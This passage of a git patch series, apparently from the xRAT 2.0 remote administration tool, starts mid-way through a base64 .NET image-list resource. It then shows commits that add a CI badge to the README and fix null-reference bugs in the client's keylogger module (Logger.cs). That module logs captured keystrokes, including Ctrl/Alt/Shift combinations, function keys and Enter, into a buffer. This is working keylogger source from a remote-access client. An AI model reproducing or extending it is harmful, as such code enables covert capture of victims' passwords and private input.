AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/wEAAf8B9AHvCrUB7wH0 + Af8CAAe8BQcB/wMAAe8B6ggSAeoB7xIAAv8BtQH0CRkBtQL/AgAB8gH0AfEI8wHyAf8CAAHzAewK9AHs + AfMTAAG7ARkFKgExAioBGQG7BAAB8gHzAm0B7AH3Ae8BvAHxAfIC8wH/AgAB8AHvCv8B7wHwEwABBwEZ + BTEBNwIxARkBBwQAAfIB8AETAhUBFAESAW0B6wHtAZIBvAH/AgAB8AHvARkBswG5AfQC/wEZAfQC/wHv + AfATAAEJARkBKgMwATEBWQFYATEBGQEJBAAB8gEHARQHFQFtAfAB/wIAAfAB7wEZAroBCQH/AdwCswH0 + Af8B7wHwEwABvAEZAQ8BQwFEAUsBeQGgAXkBWAEZAbwEAAHyAfcIFQHrAfIB/wIAAfAB7wH/AhkBCQH/ + ARkCugEZAf8B7wHwEwABvAEZARUBRAJYAXoC5QFZARkBvAQAAfIB7AgVAfcB8wH/AgAB8AHvAv8B9AEJ + A/8CGQH/Ae8B8BMAAfABGQFEAVECWAFZAeUBWQFYARkB8AQAAfIB6wcVARQBBwH0Af8CAAHwAe8C/wH0 + AboBCQEZAfQCGQH/Ae8B8BMAAfABGQFSB1gBGQHwBAAB8AFtAe0C6gEUAxUB6gHxAfQB/wIAAfAB7wL/ + AfQCsgOsARkB/wHvAfATAAHwARkIWAEZAfAEAAEHAW0B7QHsAQcC7wPsAvQB/wEAAf8BvAHvAv8B9AG6 + ArQCswEZAf8B7wHwEwAB8AEZCDEBGQHwBAAB8QEHAbwB7AGSAfcB7wG8AfABvAL0Af8BAAEHAWUBtAS7 + AQkB9AHzARkB9AH/Ae8B8BMAAfAFGQQJARkB8AQAAfIC/wHzAfIB7wG8AvcB8QP/AQABBwGzBboBswX0 + Ae8B8BMAAfEEGQMJA7UBuwQAAfIF/wHzAfEB8AHxAfIBvAH/AQABBwGLAboCuwG6AbsBtAHzBPQB7wHw + EwAB8QMZBAkBuwH0AfEB/wQAAfIH/wH0AfMB8AH0AgABBwFlBrQF8wHvAfATAAHxBxkBCQHxAf8FAAHy + CP8BvAH0AwAB9AG8AewK8wHsAfMTAAHzCPEB/wYACPEB8AH0BgAB7wptAe8SAAH/AfQBvAoHAbwB9AH/ + AQAB9AvzAfQCAAH/AfQB7wq1Ae8B9AH/AgABBwwSAQcC/wEHCv8BBwL/AQABmQtSAZkCAAL/AbUB9AkZ + AbUC/wIAARIM/wESAgABvAr/AbwDAAFSAXoJeQF6AVIEAAG7ChkBuwIACiAD9AHzAf8B6gIAAbwB/wK8 + AfABvAP/AfQB/wG8AwABUgF6AnkBWAJSAVgDeQF6AVIEAAEHARkCuwIJBRkBBwIACiAB9APzAf8B6gIA + AbwB/wTzAv8C9AH/AbwDAAFSAXoBeQFSBP8BUgJ5AXoBUgQAAQkKGQEJAgACIAG9AW8GIATzAf8BbQIA + AbwB/wG8AfABvAEHBLwB/wG8AwABUgF6AXQBUgEaAv8BGgFSAnQBegFSAgABzwemAYYBCQK7ARkBvAIA + AiABRgH0AZQBbwGUAb0CIATzAf8BbQIAAbwB/wPzAfIE8QH/AbwDAAFSAXoDUgL/AlICdAF6AVICAAGG + B/QBhgMJARkBvAIAAyABFwGUAUYBvQEXAiAE8wH/AesCAAG8Af8BvAIHAbwBBwK8AQcB9AG8AwABUgF6 + A1IBmQH/AlIBdAFSAXoBUgIAAYYB9AGtAYsB8AGLAfAB9AGGA7sBGQHwAgAEIAKUARYDIATzAf8B6wIA + AfAB/wHzAfIG8QH0AfADAAFSAXoDUgH/AZkEUgF6AVICAAGGAfQBrQG0AbUBtAG1AfQBhgMJARkB8AIA + BCABRwH/BCAE8wH/AewCAAHwAf8BBwG8BAcBvAEHAfQB8AMAAVIBmgNSAZkB/wRSAZoBUgIAAYsB/wGt + AQkBzwEJAc8B/wGLA7sBGQHwAgAF+QH/BPkD8wHyAf8B7AIAAfAB/wTxAfQC8wHxAfQB8AMAAVIBmgNS + Af8BmQF0BJoBUgIAAa0B/wGtAfQBrQH0Aa0B/wGtAwkBGQHwAgAK+QX/AewCAAHwAf8CBwG8AQcC8wLx + AfQB8AMAAVIBmgNSAZkB/wGaAXQCUgGaAVICAAGtAd0BrQEJAa0BCQGtAd0BrQMJARkB8AIACvkB/wLy + AfMB7QG8AgAB8AH/A/QC8wHxA/cBvAMAAVIBmgNSAf8BmQGaAVIB9AH/AXkBmQIAAa0H/wGtAQkDtQG7 + BAAB7QH/A/MD8gH/AfIB8wHtAfADAAHwAf8C9ALzAvEB7wH/AfAB9AMAAVIBmgNSAZkB/wGaAVIB/wF5 + AZkDAAG1B88BtAEJAbsB9AHxAf8EAAGSAf8B8wXyAf8B8wGSAfAEAAHxAv8F9AEHAfEB9AQAAVIImgF5 + AZkGAAHxBxkBCQHxAf8FAAGSCP8BkgHwBQAB8wjyAfQFAAF0CFIBdAcAAfMI8QH/BgAB8Aj3AfAmAAH0 + Ae8I9wHvAfQzAAH/AW0B8wj0AfMBbQH/AQAQ/xEAARoBmQtSARoCAAHzAfcK/wH3AfMBAAG1DrQBtQMA + AfMB9AwAAXQBGwEaBJoFegHDAVICAAHzAfcK/wH3AfMBAAG0AfMM8gHzAbQCAAHzAS4BUAwAAVIB9gGg + ApoDegRZAcMBUgIAAfMB9wr/AfcB8wEAAbQB8wzyAfMBtAEAAfMBLgF5AS4K8wH0AQABUgH2AcMBoAKa + A3oDWQHDAVICAAHzAe8K/wHvAfMBAAG0AfMM8gHzAbQB8wEuAXkBNgE1Ci4BcwEAAVIB9gLDAqABmgN6 + AlkBwwFSAgAB8wHvCv8B7wHzAQABtAH0DPMB9AG0AS4BeQ02AS4BAAFSAv8D9gHDApoDegHDAVICAAHz + Ae8K/wHvAfMBAAG0AfQM8wH0AbQBLgGZAjYLeQEuAQABUgH2ApoBegEbBvYB/wFYAgAB8wHvCvQB9wHz + AQABug70AboBAAEuAZkBNgEvCi4BHAEAAVgB9gOaAnoCmgN6AfYBWAIAAfMB7wn0AfMBkgHzAQABug7/ + AboCAAEuAZkBLgwAAVgB9gOaARoG9gH/AXkCAAHzAe8H9AHzAfIBvAHsAfMBAAHbDv8B2wMAAS4BUAwA + AVgF/wH2BHkCmQEbAgAB8wHvB/MB8QLyAW0B/wEAAdsO/wHbEQAHeQf/AgAB8wHvBvMB8AHzAfIB7AHz + AgABugLbAtUGtASzAbQhAAHzAe8F8gHwAbwB8wHsAfQDAAEJBNwG2wTaAQkhAAH/AesB8wL0AfMB8gG8 + Ae8B7AH0BAAB9AEJDNsBCQH0IgAB9AHvBfcBkgH0FQABQgFNAT4HAAE+AwABKAMAAUADAAEwAwABAQEA + AQEFAAGAAQEWAAP/AwABwAEBAcABAwQAAcABAQGAAQECAAHAAQMBwAEBAYABAQIAAcABAwHAAQEBgAEB + AgABwAEDAcABAQGAAQECAAHAAQMBwAEBAYABAQIAAcABAwHAAQEBgAEBAgABwAEDAcABAQGAAQECAAHA + AQMBwAEBAYABAQIAAcABAwHAAQEBAAEBAgABwAEDAcABAQEAAQECAAHAAQMBwAEBAQABAQIAAcABAwHA + AQEBAAEBAgABwAEDAcABAwEAAQECAAHAAQcBwAEHAQABAQIAAcABDwHAAQ8BwAEDBAABgAEDAgABwAMA + AYABAwIAAcABAAHAAQMBgAEDAcABAwIAAcABAwGAAQMBwAEDAgABwAEDAYABAwHAAQMCAAHAAQMBgAED + AQABAwIAAcABAwGAAQMBAAEDAgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwIAAcABAwGAAQMBAAED + AgABwAEDAYABAwEAAQMCAAHAAQMBgAEDAQABAwIAAcABAwGAAQMBAAEDAcABAQHAAQMBgAEHAQABAwHA + AQMBwAEHAYABDwHAAQcBwAEHAcABDwGAAR8BwAEPAcABDwT/AcABAwb/AYABAQIAAv8BgAEBAYABAQIA + AecB/wGAAQEBgAEBAgABxwH/AYABAQGAAQECAAGAAQABgAEBAYABAQQAAYABAQGAAQEEAAGAAQEBgAEB + BAABgAEBAYABAQIAAYABAAGAAQEBgAEBAgABxwH/AYABAQGAAQECAAHnAf8BgAEBAYABAQIAAv8BgAEB + AYABAwIABP8BgAEHAgAE/wGAAQ8CAAT/AcABHwL/Cw== @@ -226,7 +226,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj0yLjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE - CQAAAk1TRnQBSQFMAgEBAgEAAXgBAAF4AQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAYgBAAGIAQABEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA From 6d06e3ba2c96a0a484ddbecb57693a539bf4cef9 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Wed, 6 May 2015 15:45:48 +0200 Subject: [PATCH 4/6] AppVeyor CI Integration closes #86 --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 88fa7ca8..75f06908 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,7 @@ xRAT 2.0 ======== +[![Build status](https://ci.appveyor.com/api/projects/status/na7hitbqx8327xr9?svg=true)](https://ci.appveyor.com/project/MaxXor/xrat) + **Free, Open-Source Remote Administration Tool** xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0). From a663994caa498e934f67ee09a8b725e24e22488d Mon Sep 17 00:00:00 2001 From: d3agle Date: Thu, 7 May 2015 02:00:10 -0500 Subject: [PATCH 5/6] null check fix fixed keylogger. for some reason there was nulled KeyData in the buffer --- Client/Core/Keylogger/Logger.cs | 117 ++++++++++++++++---------------- 1 file changed, 60 insertions(+), 57 deletions(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 326c3cef..7182521a 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -174,67 +174,70 @@ namespace xClient.Core.Keylogger _keyBuffer.CopyTo(keybuffer); foreach (var k in keybuffer) { - switch (k.Value) + if (k != null) { - case 8: - _logFileBuffer.Append(HighlightSpecialKey("Back")); - break; - case 9: - _logFileBuffer.Append(HighlightSpecialKey("Tab")); - break; - case 13: - _logFileBuffer.Append(HighlightSpecialKey("Enter")); - break; - case 32: - _logFileBuffer.Append(" "); - break; - case 46: - _logFileBuffer.Append(HighlightSpecialKey("Del")); - break; - case 91: - case 92: - _logFileBuffer.Append(HighlightSpecialKey("Win")); - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - case 119: - case 120: - case 121: - case 122: - _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); - break; - default: - if (_enumValues.Contains(k.Value)) - { - if (k.AltKey && k.ControlKey && k.ShiftKey) + switch (k.Value) + { + case 8: + _logFileBuffer.Append(HighlightSpecialKey("Back")); + break; + case 9: + _logFileBuffer.Append(HighlightSpecialKey("Tab")); + break; + case 13: + _logFileBuffer.Append(HighlightSpecialKey("Enter")); + break; + case 32: + _logFileBuffer.Append(" "); + break; + case 46: + _logFileBuffer.Append(HighlightSpecialKey("Del")); + break; + case 91: + case 92: + _logFileBuffer.Append(HighlightSpecialKey("Win")); + break; + case 112: + case 113: + case 114: + case 115: + case 116: + case 117: + case 118: + case 119: + case 120: + case 121: + case 122: + _logFileBuffer.Append(HighlightSpecialKey("F" + (k.Value - 111))); + break; + default: + if (_enumValues.Contains(k.Value)) { - _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + if (k.AltKey && k.ControlKey && k.ShiftKey) + { + _logFileBuffer.Append(HighlightSpecialKey("SHIFT-CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.AltKey && k.ControlKey && !k.ShiftKey) + { + _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.AltKey && !k.ControlKey) + { + _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else if (k.ControlKey && !k.AltKey) + { + _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); + } + else + { + _logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock)); + } } - else if (k.AltKey && k.ControlKey && !k.ShiftKey) - { - _logFileBuffer.Append(HighlightSpecialKey("CTRL-ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else if (k.AltKey && !k.ControlKey) - { - _logFileBuffer.Append(HighlightSpecialKey("ALT-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else if (k.ControlKey && !k.AltKey) - { - _logFileBuffer.Append(HighlightSpecialKey("CTRL-" + FromKeys(k.Value, k.ShiftKey, k.CapsLock))); - } - else - { - _logFileBuffer.Append(FromKeys(k.Value, k.ShiftKey, k.CapsLock)); - } - } - break; + break; + } + j++; } - j++; } if (j > 0 && j <= _keyBuffer.Count) _keyBuffer.RemoveRange(0, j); From cc531e80661ea9094373a1ad3389d82f465e92f9 Mon Sep 17 00:00:00 2001 From: d3agle Date: Thu, 7 May 2015 04:15:56 -0500 Subject: [PATCH 6/6] null check fix fixed keylogger null reference --- Client/Core/Keylogger/Logger.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs index 7182521a..60536474 100644 --- a/Client/Core/Keylogger/Logger.cs +++ b/Client/Core/Keylogger/Logger.cs @@ -236,8 +236,8 @@ namespace xClient.Core.Keylogger } break; } - j++; } + j++; } if (j > 0 && j <= _keyBuffer.Count) _keyBuffer.RemoveRange(0, j);